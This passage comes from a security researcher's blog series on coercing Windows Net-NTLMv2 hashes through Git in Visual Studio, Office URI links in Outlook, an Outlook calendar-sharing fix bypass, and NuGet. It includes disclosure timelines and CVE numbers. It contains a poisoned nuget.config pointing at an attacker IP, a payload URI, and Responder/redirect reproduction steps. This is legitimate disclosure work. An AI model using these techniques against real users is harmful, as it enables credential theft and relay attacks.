This then, of course, sends the NTLM hash to the awaiting server.

Git Credential Manager
But how does it work from a GUI? Surely a user doesn’t need to enter their credentials every time? This is where Git Credential Manager (GCM) comes in.
Git Credential Manager was written by Microsoft (now maintained by GitHub, who are now owned by Microsoft) for this exact purpose: figuring out what connects to where, when. It stores usernames and passwords in the user’s .gitconfig file for connecting to different Git servers.

You’d think that when connecting to an NTLM-authenticated source it would store a flag indicating that it should use NTLM when connecting to it, right? Well, as mentioned before, you use a blank username and password when connecting to the server and then Git will handle the rest. And so GCM will store a blank username and password in the .gitconfig file, and it will do it automatically on first contact (i.e. on Git clone).

GCM in Visual Studio
You may see where this becomes a bit of an issue. When you Git clone a repository from Visual Studio it will hand off to Git and GCM. GCM sees that the server hasn’t got any credentials configured for it and passes a blank username and password to Git. Git sees the blank username and password and uses the default Windows credentials. This then sends off a Net-NTLMv2 hash to the awaiting Git server.

As Visual Studio also passes `--recursive` to Git as it clones, this works within submodules. An attacker could hide a malicious Git submodule inside of a repository, such as within a popular GitHub repository, and any user who clones that repository will leak their credentials to the attacker’s server.
This behaviour also happens in Git-powered packages managers, such as VCPKG, which is unlikely unintended behaviour and similar to the Nuget package manager issue we found.

Reproduction steps
These are the steps that take place in the video

1. Responder is run listening and providing authentication challenges on port 80
   
2. An attacker distributes a URL pointing to the malicious Git server (Responder) to the victim
   
3. The victim Git clones the repository within Visual Studio
4. The victim’s Net-NTLMv2 hash is leaked to the attacker’s server

Disclosure timeline

• 22 Mar 2024 at 9:44 PM report created with MSRC team
  
• 23 Mar 2024 at 4:34 AM case opened 
• 2 May 2024 at 8:52 PM ruled as not a bug by MSRC

tl;dr
By leveraging Microsoft Office URI (Uniform Resource Identifier) handlers, it was possible to obtain a Net-NTLM-v2 (New Technology LAN Manager) hash from a victim after they clicked a single link in an email. This was patched by Microsoft in the August 2024 Patch Tuesday and CVE-2024-38200 was issued. 

Introduction
This is part three of a five-part blog post series focusing on NTLM-related research that was presented as part of the DEF CON 32 presentation 'NTLM - the last ride'. After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun coercing hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. 
For more detail about what NTLM is, what you can do with them, and why being able to get them out of things is bad, please see our first blog post in this series.

URI Handlers
URI (Uniform Resource Identifier) schemes are small strings that identify a source of data or something for a program to load. Well known URIs include schemes such as `file://`, `http://`, `https://`, which when clicked, load the program associated with the URI scheme. In the case of `http` or `https`, the operating system will know to load the browser and fetch the content at the provided URL, and in the case of the `file://` URI scheme, the file explorer or similar may be loaded. 
​
The following Powershell (Administrator) one liner can be used to list all the installed handlers on Windows: 

​When Microsoft Office is installed on a Windows computer, several registry entries are made that associate the Office URI schemes to an associated program: 

• ms-access 
• ms-excel 
• ms-infopath 
• ms-powerpoint 
• ms-project 
• ms-publisher 
• ​ms-word 

An example URI scheme for MS Office may take the following form: ms-excel:ofv|u|http://your-server.com/test.xlsx
In this case `ofv` stands for Open for Viewing, and the `u` specifies the URL of the resource to fetch. Clicking a hyperlink or anchor tag with this URI handler from within a browser will prompt the following dialog box: 

Microsoft security controls
As with previous testing, we found that Microsoft would frequently provide a warning dialog, if you were about to do something fun and/or dangerous.

​In the case of the URI handlers, within a browser, there would be a prompt asking if you would like to open the selected Office program. This is expected behaviour, as the security boundary shifts from the browser to the program that is associated with the URI scheme. In the case of Microsoft Office products, this means that macros will not be loaded, and neither will external resources. These are security protections designed to prevent malicious exploits from happening within these programs.

However, after enumerating and testing various URI handler interactions within Outlook, it was found that by emailing a hyperlink with an office URI handler, there would be no dialog prompt.

The URI handler would immediately open whichever Office program was specified and attempt to fetch the resource at the specified URL. As with previous HTTP interactions, no Net-NTLMv2 authentication would take place. 
​
By applying a 302 redirect (as with the CVE-2023-35636 bypass) it was possible to redirect from port 80 (HTTP) to port 445 (SMB) and capture the Net-NTLMv2 hash.

Again, a small Python script (as in the previous blog) was used to perform the redirection.

These network interactions would happen before any document was loaded, bypassing the intended security controls in both the browser and the Office program.

The below video shows the flow:

These are the steps that take place in the video:

• A redirection script is run to redirect any HTTP (80) requests to SMB (445) 
• Responder is run listening and providing authentication challenges on port 445 
• An email has been sent with the following payload in an anchor tag:  ms-excel:ofv|u|http://your-server.com/test.xlsx 
• The link is clicked, the HTTP request is made 
• The HTTP request is redirect to a UNC path and a Net-NTLMv2 hash is captured on port 445 

Disclosure timeline: ​

• 06 April 2024: Reported to the MSRC 
• 09 April 2024: MSRC open a case for the issue 
• 20 April 2024: Further reproduction notes provided, including noting that Outlook does not warn or prompt before the exploit. 
• 23 April 2024: MSRC confirm the behaviour and accept for immediate servicing with the classification of Important 
• 14 June 2024: MSRC report a tentative release date of August Patch Tuesday 
• 15 June 2024: PrivSec notifies MSRC of DEFCON32 disclosure in early August 
• 08 July 2024: Microsoft provide early mitigation as part of their Feature Flight  

tl;dr  
In 2023, Varonis Labs discovered (https://www.varonis.com/blog/outlook-vulnerability-new-ways-to-leak-ntlm-hashes) that a Net-NTLMv2 hash could be received from a victim by tricking them into opening a calendar in Outlook. CVE-2023-35636 was issued and was subsequently fixed in December 2023. By leveraging a technique commonly used in SSRF (Server-Side Request Forgery), and redirecting a HTTP request to a UNC path, we were able to bypass Microsoft’s fix and obtain a Net-NTLM-v2 hash. Microsoft patched this as part of the July 2024 Patch Tuesday and issued CVE-2024-38020 (https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-38020). 

Introduction 
This is part two of a five-part blog post series focusing on NTLM-related research that was presented as part of the DEF CON 32 presentation 'NTLM - the last ride'. After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun coercing hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. 

For more detail about what NTLM is, please see our first blog post in this series (https://www.privsec.nz/releases/nuget-package-manager) 

​Outlook 
Outlook is Microsoft’s email client, widely used throughout the world. It comes in multiple flavours and variants, from the Windows desktop client (classic), the browser client, to the (new) desktop client which is built using WebView 2. Outlook allows for sharing and receiving emails, calendars, invitations and other event and message types between different users of different organisations. 

Microsoft security controls 
The security controls Microsoft implement for externally provided content often take the form of a warning dialog box, letting the user know that if they choose to interact with external content that is not trusted they may be about to do something dangerous or fun. 

The vulnerability 
The original CVE (CVE-2023-35636) leveraged two headers that can be included in an email, which can be specified by the sender. Email headers are hidden parts of an email that can contain information about the sender, and how the message is routed and authenticated. The following Outlook-specific headers were used: 

Content-Class: 
x-sharing-config-url: 

When the value of `Content-Class` was set to “sharing”, this instructs Outlook that the received message is for sharing content. 
When the `x-sharing-config-url` was set to a file URL or UNC path containing an ICS (calendar) file, Outlook would helpfully format the top of the email with a call to action for the user to add the calendar to their own: 

This vulnerability was a one-click, no warning Net-NTLMv2 hash leaker, and was classed as Important and fixed in January 2024. 

​The initial fix 
​Microsoft added a dialog warning to any `x-sharing-config-url` that started with the `file:\\\` handler, letting the user know that by clicking the dialog they may be exposing themselves to risk: 

Bypassing the fix 
​We noticed that Outlook was only popping up a dialog box on a UNC/File path link, and that HTTP connections were not providing the same warnings. This was a reasonable assumption for the fix, as Windows generally doesn’t send authentication on port 80/443 unless it is to a trusted location, such as an internal network. 
However, by reframing this problem to be more like a SSRF (Server-Side Request Forgery), we were able to apply a redirection technique, and subsequently capture a Net-NTLMv2 hash on port 445.  
Using a basic Python script, we would redirect any incoming web (HTTP) requests to a UNC path: 

This is a common technique in SSRF to bypass filter protections, or turn a web-only SSRF into a file read exploit, by forcing a protocol change from http:// to file:// 

The new flow can be roughly summarised below: 

• A user clicks the ‘Click above to open this calendar’ button 
• A network request is made on port 80 (HTTP) to the attacker-controlled server attempting to fetch the calendar 
• The server responds with a 302 redirect to a Responder instance, listening on port 445 (SMB) 
• The Outlook client follows the redirect and attempts to authenticate to the rogue file share 
• A Net-NTLM-v2 hash is captured by the attacker-controlled server. 

 
Reproduction steps 
To reproduce this issue, we have created the following PowerShell script that you are able to run on a Windows machine with Outlook installed: ​

tl;dr 
Earlier versions of Nuget Package Manager shipping with Visual Studio on Windows would leak a Net-NTLMv2 hash on port 80. This would happen on the Nuget Restore operation, which happens as soon as the project is cloned from a Git repo, or otherwise loaded. By poisoning a `nuget.config` file with an IP address of an attacker-controlled upstream repository, it would be possible to coerce or obtain the hashes of anyone cloning the repository. 

Introduction 
​This is part one of a five-part blog post series focusing on NTLM-related research that was presented by two of our consultants, Tomais Williamson and Jim Rush, as part of the DEF CON 32 presentation (NTLM - the last ride) . After hearing the news that Microsoft is planning to kill off NTLM (New Technology Lan Manager) authentication in Windows 11 and above, we decided to speedrun forcing authentication and hashes out of a few more things before it fades into obscurity over the next twenty-five years or so. 

So, what is NTLM? 
NTLM stands for New Technology Lan Manager, and is the broad name given to the suite of protocols that have underpinned authentication within the Windows ecosystem for the last 30 or so years.  

In the context of this research, it’s a password hash; a hash being the result of turning a cleartext password (Winter2024!) into a mangled version of itself for transmission over a network, to avoid sending the cleartext password. 

While it is possible to brute-force weak passwords against known wordlists, the act of hashing a clear text string is like turning a cow into sausages – computationally expensive to get the cow back. 

However, in an internal Active Directory network, being able to coerce a password hash allows for a variety of relay attacks which do not involve cracking the password. These attacks can allow for user impersonation within an environment. While there are mitigations and steps administrators can take to help reduce this risk, NTLM relaying still presents an excellent way for a malicious actor to laterally move or otherwise pivot around a network. 

TrustedSec have a great and comprehensive blog post about the relaying attacks available: https://trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022 

Now that we understand what an NTLM hash (or Net-NTLMV2) is, and how useful it can be to coerce them, let’s see what we can get them out of. 

Nuget Package Manager 
Nuget Package Manager (pronounced "New Get") is a package manager primarily used for packaging and distributing software written using .NET and the .NET Framework. Software packages are self-explanatory, reusable libraries of code that perform certain functions that developers can import into their own projects to save writing their own. 

How Nuget Stores Credentials 
As you can imagine, Nuget has some clear documentation surrounding secure storage of credentials.

The credentials are recommended to be stored or encrypted and set using the `packageSourceCredentials` node in the `nuget.config` file. Passwords are encrypted by default and are intended to be specified on a per-repository basis, either directly from the command line or using environment variables. 

The documentation suggests that if a `packageSourceCredentials` node is not set or otherwise populated, Nuget should not pass credentials of any form to an upstream Nuget repository. However, it does, as we discovered. 

Getting a hash out of Nuget: 
We reported the below to the MSRC (Microsoft Security Research Centre) who deal with MS related vulnerabilities:  

Despite all those technical words for the benefit of the MSRC, the bug is somewhat straightforward: 

• User opens a project with a malicious package repo URL in the nuget.config file 

• Nuget attempts to authenticate to the malicious package repo when the project loads 

• A Net-NTLMv2 hash is passed from the nuget client to the attacker-controlled server 

How this bug happened: ICredentials 
While trying to figure out the root cause for MS of why Nuget was leaking credentials, we quickly came across the ICredentials interface. 

This interface within .NET "provides the base authentication interface for retrieving credentials for Web client authentication". This interface provides the `GetCredential` method to objects that provide network credentials to applications and is used extensively throughout the Nuget codebase to handle authentication. 

Within Nuget, there was a logic error that caused the package manager to retry a request after a 401 response, with the subsequent fallback to the Net-NTLM-v2 hash of the current user being passed in the second attempt. 
​
Example `nuget.config` file
The below is an example of a poisoned `nuget.config` file, which can be used to coerce the hashes of anyone cloning the repository in VS on Windows: 

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <packageSources>
        <!--To inherit the global NuGet package sources remove the <clear/> line below -->
        <clear />
        <add key="nuget" value="http://192.168.178.74/fresh/index.json" />
    </packageSources>
</configuration>

To reproduce this issue: 

1. In a repository with a poisoned `nuget.config` file (where one of the `packageSources` is set to a server you control that presents a NTLM challenge), run `nuget.exe restore` from the command line. 
2. Observe a Net-NTLMv2 hash captured on the server you are running Responder on. 

​An example repository containing an example poisoned nuget.config file can be found here: 

https://github.com/JimSRush/NTLM_vanilla/blob/main/nuget.config 

Hello, could I have 500 of my coworkers' hashes please? 

Disclosure timeline: 

• 03 March 2024: Vulnerability reported to MS 
• 05 March 2024: MSRC opens a case for this issue 
• 06-14 March 2024: Further evidence and PoC details provided to MS 
• 14 March 2024: MS ‘unable to recreate’ 
• 15 March 2024: Further clarification on recreation steps provided 
• 21 March 2024: MSRC accept bug for immediate servicing and class as ‘Important’ 
• 18 June 2024: Status changed from ‘pre-release' to ‘complete’ ​